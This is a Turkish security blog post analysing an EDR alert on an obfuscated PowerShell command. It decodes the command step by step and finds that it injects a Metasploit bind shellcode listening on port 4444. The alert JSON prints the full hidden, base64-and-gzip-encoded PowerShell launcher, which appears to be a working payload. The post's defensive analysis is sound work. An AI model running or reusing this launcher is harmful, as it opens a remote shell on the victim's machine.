Zararlı Powershell Analizi

Sysmon gibi ücretsiz, FireEye HX, Carbon Black Response gibi ticari EDR (endpoint detection & response) güvenlik teknolojilerine sahip olan kurumların yakından izlediği alarmların başında, hemen hemen her tehdit raporunda, araştırma yazısında adının sıklıkla geçtiği Powershell olduğunu az çok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardımcı araçlar nedeniyle hedef işletim sisteminde Powershell kullanımın tespit edilmesinin çok daha zorlaştığı günümüzde, EDR teknolojilerine olan bağımlılık ve Powershell kayıtlarına olan ihtiyaç, kurumlar için elzem bir hale gelmiştir.

Her güvenlik teknolojisinde olduğu gibi EDR teknolojisinde de alarmları analiz edebilecek yetkinlikte insan kaynağı olmadan bu teknolojiye sahip olmak, kurumlar için ölü bir yatırım olmaktan öteye gidememektedir. Analistler sayesinde komut satırında tespit edilen bir alarmın günün sonunda hedef sistemin belleğinde çalıştırdığı kabukkodunun (shellcode) türüne, bağlantı noktasına kadar önemli bilgilere erişmek mümkün olabilmektedir.

Örneğin kurumunuzdaki EDR sisteminiz şüpheli bir Powershell kullanımı ile ilgili olarak aşağıdaki şekilde bir alarm ürettiğinde Siber Güvenlik Merkezi’nizdeki analistlerin en kısa sürede bu alarmı analiz etmek için işe koyulmaları gerekmektedir.

"event_values": {
"processEvent/eventType": "start",
"processEvent/process": "powershell.exe",
"processEvent/processPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAL3yl1oCA7VWbW/iOBD+3JX2P0QrpCS6lJfCbtVKK53DS0lLWmgglHLo5CZOMDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4wJ0tiTlMfKKtwqX96/O+pjgSNFK7HH1sAxlNLD3NOPjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKEhI9MEoSTVf+UsZzIsjxzcOCeFL5opT+LF8w/oBZbrZtYm9OlGMU+9laj3s4i6XsrBiVmvrHH6o+Pa7Nyu3HFLNEU51tIklU9hlTdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqg45wEcQmYpYgWwy98OipsKwL7iHfF+QBGzLVvzEl0QrxSljhvK7Ns3Pvk1jSSMC65IIvnKIeKIeScpdHPuM3JJgpl2TdZHyzzppL53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/l1Q8EyW3/EMo6PpfkwgNq3PE7o3+6xUDcWGc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd1OfVn4JNzUdrEg9PTbOHHomqRgMaktY1xRL1CN9pbIJOAkX2O5cLsGsLS1HyB+C3CSIhlBpyhTF+7tSMqv/maKWU+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZOxipTYaTxFD6KZSLZygOwYz4hoLihOZLKJV8P1Sfw7VTJqmHE1lsN9O/AZkf2ORxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmjMYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh3GpaG4VEio/wzYvZD+0/kvKv8QSVOQnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPDkQLw0T5UbmgTwTOxYmZ75pLW0JrWLBu+I1q3eOvUv7pcdCuitZkHyEosu9tvDbrdxtOl4zak07bkVd+SdvtusXBQ93Y0kfcW6g5pdTlp7FaXdOf0kD/ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoINeO22zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx1O/wYVNxl7foRde6Hz7Yjc72NL3xy2vqQ8QrElsIVeUHXj5qtjUUyxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumECBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqkOHPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/6vaOWFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at5jzGVYOhAX2DkcDW9mX6uixeX 954T4D3In+yf000qj6/hUv8bAKByiaAJAAA='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))",
"processEvent/parentProcessPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/parentProcess": "powershell.exe",
}

Alarmda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.

Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde çözebilirsiniz.

Malicious Powershell Analysis
Malicious Powershell Analysis
Malicious Powershell Analysis

Ortaya çıkan Powershell betiğinin bellekten .Net API yardımı ile Windows API fonksiyonları çağırarak özetle bellekte yer açıp, açılmış belleğe, FromBase64String() fonksiyonu içinde yer alan kod parçasını kopyaladıktan sonra yeni bir iş parçacığı (thread) oluşturup, bu kod parçasını çalıştırdığını görebilirsiniz.

FromBase64String() fonksiyonu içinde yer alan kod parçasını çözmek için ise yine echo, base64, xxd komutlarından faydalanabilirsiniz. Ancak bu defa elinizde bellekten çalışmak üzere hazırlanmış bir kabukkodu olduğu için ilave olarak shellcode2exe ve Radare2 araçlarından da faydalanmanız gerekmektedir.

Malicious Powershell Analysis
Malicious Powershell Analysis

Radare2 ile shellcode dosyasını analiz ettiğinizde ise aslında bunun Metasploit‘in 4444. bağlantı noktasında dinleyen bir bind kabukkodu olduğunu görebilirsiniz.

Malicious Powershell Analysis
Malicious Powershell Analysis
Malicious Powershell Analysis

Sonuca gelecek olursak, bu örnekten yola çıkarak günümüzde gerçekleştirilen ileri seviye siber saldırılarla mücadelede EDR gibi teknolojilerden kurumların tam anlamıyla faydalanabilmeleri için alarmları analiz edebilecek yetkin insan kaynağına da bir o kadar ihtiyaçları bulunmaktadır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

  • Bu yazı ayrıca Pi Hediyem Var #14 oyununun çözüm yolunu da içermektedir.
  • image_pdfShow this post in PDF formatimage_printPrint this page
    8 comments
    1. Merhaba,

      shellcode2exe.py çalıştırılırken işletim sistemi linux olarak belirtilmiş. Hedef işletim sistemi windows değil miydi? Ben mi atladım acaba?
      Ayrıca yazı için teşekkürler emeğinize sağlık.

      İyi çalışmalar.

    2. Merhaba,
      Paylaşımınız için teşekkürler, üçüncü paragrafta “en kısa sürede” ifadesi iki kez geçtiği için ufak bir anlam bozukluğu olmuş :)

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    You May Also Like
    Read More

    e-Devlet Hacklendi mi?

    If you are looking for an English version of this article, please visit here. Öncelikle yazının sonunda söyleyeceğimi başta söyleyeyim, “Hayır, hack-len-me-di!” Peki bu durumda vatandaş olarak rahat bir nefes alabilir misiniz ? Maalesef hayır. Bunun sebebini de yazının devamında okuyabilirsiniz. Zaman zaman hortlayan “e-Devlet Hacklendi!”, “e-Devlet verileri çalındı!”, “85…
    Read More
    Read More

    LinkedIn Dolandırıcıları

    If you are looking for an English version of this article, please visit here. Uzun yıllardan beri sosyal ağları ve medyayı etkin kullanan bir siber güvenlik araştırmacısı olarak bağlantılarım arasında yer alanlarınız özellikle hafta içi LinkedIn ve Twitter üzerinden okuduğum ve beğendiğim siber güvenlik makalelerini, haberleri paylaştıklarımı farkediyorlardır. Twitter hesabımın…
    Read More
    Read More

    WhatsApp Dolandırıcıları

    If you are looking for an English version of this article, please visit here. Başlangıç Son günlerde hemen hemen WhatsApp uygulaması kullanan herkesi rahatsız eden yabancı cep telefonu numaralarından gelen çağrılardan, mesajlardan ben de yakın zamanda nasibimi aldım ve tabii ki diğer dolandırıcılıklarla ilgili yazılarımda (Kripto Para Dolandırıcıları, LinkedIn Dolandırıcıları,…
    Read More
    Read More

    Profilime Kim Baktı?

    If you are looking for an English version of this article, please visit here. 23 Eylül 2020 tarihinde Twitter’da siber güvenlik ile ilgili haberlere göz gezdirirken gündem olan başlıklarda #profilimekimbaktı etiketi dikkatimi çekti. Beni oldukça şüphelendiren bu etiketin gündem olmasının arkasında yatan sebebi bulmak için bu etiketi paylaşan hesaplara göz…
    Read More